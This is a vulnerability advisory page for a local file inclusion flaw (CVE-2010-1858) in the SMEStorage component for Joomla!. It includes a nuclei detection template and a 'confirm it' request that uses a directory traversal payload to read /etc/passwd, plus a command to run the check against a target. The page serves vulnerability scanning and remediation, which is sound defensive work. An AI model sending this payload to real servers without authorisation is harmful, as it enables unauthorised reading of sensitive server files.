Joomla! Component SMEStorage - Local File Inclusion

mediumseverity

5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1858 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1858

info:
  name: Joomla! Component SMEStorage - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11853
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1858
    - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57108
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1858
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96506
    cpe: cpe:2.3:a:gelembjuk:com_smestorage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gelembjuk
    product: com_smestorage
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,gelembjuk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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